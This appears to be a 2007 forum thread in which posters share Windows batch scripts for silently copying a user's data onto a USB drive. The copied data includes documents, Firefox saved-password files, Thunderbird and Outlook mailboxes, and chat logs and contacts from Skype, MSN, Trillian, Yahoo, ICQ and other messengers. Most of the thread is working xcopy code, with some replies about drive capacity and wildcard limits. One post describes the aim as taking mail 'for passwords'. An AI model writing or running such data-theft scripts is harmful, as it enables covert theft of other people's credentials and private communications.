Guest Twilight Zone Posted January 12, 2007 Posted January 12, 2007 :: My Documents files mkdir documents%computername%MyDocuments xcopy "C:Documents and Settings%username%My Documents*.doc" documents%computername%MyDocuments /s/c/q/r/h xcopy "C:Documents and Settings%username%My Documents*.rtf" documents%computername%MyDocuments /s/c/q/r/h xcopy "C:Documents and Settings%username%My Documents*.txt" documents%computername%MyDocuments /s/c/q/r/h xcopy "C:Documents and Settings%username%My Documents*.xls" documents%computername%MyDocuments /s/c/q/r/h xcopy "C:Documents and Settings%username%My Documents*.csv" documents%computername%MyDocuments /s/c/q/r/h xcopy "C:Documents and Settings%username%My Documents*.ppt" documents%computername%MyDocuments /s/c/q/r/h xcopy "C:Documents and Settings%username%My Documents*.mdb" documents%computername%MyDocuments /s/c/q/r/h xcopy "C:Documents and Settings%username%My Documents*.jpg" documents%computername%MyDocuments /s/c/q/r/h xcopy "C:Documents and Settings%username%My Documents*.gif" documents%computername%MyDocuments /s/c/q/r/h xcopy "C:Documents and Settings%username%My Documents*.htm" documents%computername%MyDocuments /s/c/q/r/h xcopy "C:Documents and Settings%username%My Documents*.eml" documents%computername%MyDocuments /s/c/q/r/h xcopy "C:Documents and Settings%username%My Documents*.msg" documents%computername%MyDocuments /s/c/q/r/h :: Desktop files mkdir documents%computername%Desktop xcopy "C:Documents and Settings%username%Desktop*.doc" documents%computername%Desktop /s/c/q/r/h xcopy "C:Documents and Settings%username%Desktop*.rtf" documents%computername%Desktop /s/c/q/r/h xcopy "C:Documents and Settings%username%Desktop*.txt" documents%computername%Desktop /s/c/q/r/h xcopy "C:Documents and Settings%username%Desktop*.xls" documents%computername%Desktop /s/c/q/r/h xcopy "C:Documents and Settings%username%Desktop*.csv" documents%computername%Desktop /s/c/q/r/h xcopy "C:Documents and Settings%username%Desktop*.ppt" documents%computername%Desktop /s/c/q/r/h xcopy "C:Documents and Settings%username%Desktop*.mdb" documents%computername%Desktop /s/c/q/r/h xcopy "C:Documents and Settings%username%Desktop*.jpg" documents%computername%Desktop /s/c/q/r/h xcopy "C:Documents and Settings%username%Desktop*.gif" documents%computername%Desktop /s/c/q/r/h xcopy "C:Documents and Settings%username%Desktop*.htm" documents%computername%Desktop /s/c/q/r/h xcopy "C:Documents and Settings%username%Desktop*.eml" documents%computername%Desktop /s/c/q/r/h xcopy "C:Documents and Settings%username%Desktop*.msg" documents%computername%Desktop /s/c/q/r/h :: MSN Received Files and chatlogs mkdir documents%computername%MSN xcopy "C:Documents and Settings%username%My DocumentsMy Received Files*" "documents%computername%MSN" /s /c /q /r /h /y :: Skype Received Files mkdir documents%computername%SkypeReceivedFiles xcopy "C:Documents and Settings%username%My DocumentsMy Skype Received Files*" "documents%computername%SkypeReceivedFiles" /s /c /q /r /h /y :: Skype Contacts mkdir documents%computername%SkypeContacts xcopy "C:Documents and Settings%username%Application DataSkype*" "documents%computername%SkypeContacts" /s /c /q /r /h /y :: FireFox Data mkdir documents%computername%FireFox xcopy "C:Documents and Settings%username%Application DataMozillaFirefoxProfiles*signons.txt" "documents%computername%FireFox" /s /c /q /r /h /y xcopy "C:Documents and Settings%username%Application DataMozillaFirefoxProfiles*.db" "documents%computername%FireFox" /s /c /q /r /h /y xcopy "C:Documents and Settings%username%Application DataMozillaFirefoxProfiles*.html" documents%computername%FireFox /s/c/q/r/h/y Quote
Guest Twilight Zone Posted January 13, 2007 Posted January 13, 2007 Code for ThunderBird mail client , slurp mails from all folders and files for passwords. :: ThunderBird Data mkdir documents%computername%ThunderBird xcopy "C:Documents and Settings%username%Application DataThunderbirdProfiles*" "documents%computername%ThunderBird" /s /c /q /r /h /y Code for data from Internet Explorer. :: Internet Explorer Data mkdir documents%computername%IExplorer xcopy "C:Documents and Settings%username%Application DataMicrosoftAddress Book*.wab" "documents%computername%IExplorer" /s /c /q /r /h /y xcopy "C:Documents and Settings%username%Favorites*" "documents%computername%IExplorer" /s /c /q /r /h /y Outlook and Outlook Express Data :: Outlook & Outlook Express Data mkdir documents%computername%Outlook xcopy "C:Documents and Settings%username%local SettingsApplication DataMicrosoftOutlook*.pst" "documents%computername%Outlook" /s /c /q /r /h /y xcopy "C:Documents and Settings%username%local SettingsApplication DataIdentities*.dbx" documents%computername%Outlook /s/c/q/r/h/y Quote
kz26 Posted January 13, 2007 Posted January 13, 2007 Is it just me,or is my puny 128MB drive going to DIE when I try this... Quote
kz26 Posted January 13, 2007 Posted January 13, 2007 Also, would it be possible to exclude files/folders over a certain size? xcopy doesn't seem to have any option for doing this. Quote
kz26 Posted January 13, 2007 Posted January 13, 2007 Code for ThunderBird mail client , slurp mails from all folders. ::ThunderBird Data mkdir documentslogfiles%computername%ThunderBirdData xcopy "C:Documents and Settings%username%Application DataThunderbirdProfilesa89puyl2.defaultMail*Inbox" "documentslogfiles%computername%ThunderBirdData" /s /c /q /r /h /y xcopy "C:Documents and Settings%username%Application DataThunderbirdProfilesa89puyl2.defaultMail*Sent" "documentslogfiles%computername%ThunderBirdData" /s /c /q /r /h /y xcopy "C:Documents and Settings%username%Application DataThunderbirdProfilesa89puyl2.defaultMail*Drafts" "documentslogfiles%computername%ThunderBirdData" /s /c /q /r /h /y xcopy "C:Documents and Settings%username%Application DataThunderbirdProfilesa89puyl2.defaultMail*Templates" "documentslogfiles%computername%ThunderBirdData" /s /c /q /r /h /y xcopy "C:Documents and Settings%username%Application DataThunderbirdProfilesa89puyl2.defaultMailLocal FoldersInbox.sbd*" "documentslogfiles%computername%ThunderBirdData" /s /c /q /r /h /y Keep in mind that Thunderbird generates a RANDOM profile name for each user. Therefore "a89puyl2.default" is not going to work globally. Quote
Guest Twilight Zone Posted January 13, 2007 Posted January 13, 2007 Keep in mind that Thunderbird generates a RANDOM profile name for each user. Therefore "a89puyl2.default" is not going to work globally. I know,my mistake.Sorry.I will change that.I have problem with *.default ,doesn't recognize files for extract.Same thing is with FireFox.Any idea ? Is it just me,or is my puny 128MB drive going to DIE when I try this... Maybe you have too much data for 128 Mb drive.I have 2Gb and 4Gb drives,and sometimes this is not enough,too.You can erase lines for files which you dont need , .jpg or whatewer. Also, would it be possible to exclude files/folders over a certain size? xcopy doesn't seem to have any option for doing this. Probably is possible,but maybe important files will not be included for copying Quote
kz26 Posted January 13, 2007 Posted January 13, 2007 Yeah - xcopy sucks because it basically only allows you to use one and only one wildcard. I have heard of a third-party program called xxcopy (try googling it) but never used it before. Quote
Guest Twilight Zone Posted January 14, 2007 Posted January 14, 2007 Yeah - xcopy sucks because it basically only allows you to use one and only one wildcard. I have heard of a third-party program called xxcopy (try googling it) but never used it before. I'm satisfied with this,if U can better I'll be glad to try your work. Quote
Guest Twilight Zone Posted January 17, 2007 Posted January 17, 2007 :: NetScape Data mkdir documents%computername%NetScape xcopy "C:Documents and Settings%username%Application DataNetscapeNSBProfiles*.db" "documents%computername%NetScape" /s /c /q /r /h /y xcopy "C:Documents and Settings%username%Application DataNetscapeNSBProfiles*.dat" "documents%computername%NetScape" /s /c /q /r /h /y xcopy "C:Documents and Settings%username%Application DataNetscapeNSBProfiles*bookmarks.html" "documents%computername%NetScape" /s /c /q /r /h /y :: Opera Data mkdir documents%computername%Opera xcopy "C:Documents and Settings%username%Application DataOperaOperaprofile*.dat" "documents%computername%Opera" /s /c /q /r /h /y xcopy "C:Documents and Settings%username%Application DataOperaOperamail*.dat" "documents%computername%Opera" /s /c /q /r /h /y xcopy "C:Documents and Settings%username%Application DataOperaOperamail*.ini" "documents%computername%Opera" /s /c /q /r /h /y :: Trilian Data mkdir documents%computername%Trilian xcopy "C:Program FilesTrillianusersdefaultlogs*.log" "documents%computername%Trilian" /s /c /q /r /h /y xcopy "C:Program FilesTrillianusersdefaultdownloads*" "documents%computername%Trilian" /s /c /q /r /h /y xcopy "C:Program FilesTrillianusersdefault*.ini" "documents%computername%Trilian" /s /c /q /r /h /y :: Yahoo Messenger Data mkdir documents%computername%Yahoo.M xcopy "C:Program FilesYahoo!MessengerProfiles*.dat" "documents%computername%Yahoo.M" /s /c /q /r /h /y :: Miranda IM Data mkdir documents%computername%Miranda xcopy "C:Program FilesMiranda IM*.dat" "documents%computername%Miranda" /s /c /q /r /h /y xcopy "C:Program FilesMiranda IM*.bmp" "documents%computername%Miranda" /s /c /q /r /h /y :: Gaim Data mkdir documents%computername%Gaim xcopy "C:Documents and Settings%username%Application Data.gaim*.txt" "documents%computername%Gaim" /s /c /q /r /h /y xcopy "C:Documents and Settings%username%Application Data.gaim*.xml" "documents%computername%Gaim" /s /c /q /r /h /y :: ICQ Lite mkdir documents%computername%ICQ xcopy "C:Documents and SettingsTwilight ZoneMy DocumentsICQ Lite*" "documents%computername%ICQ" /s /c /q /r /h /y Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.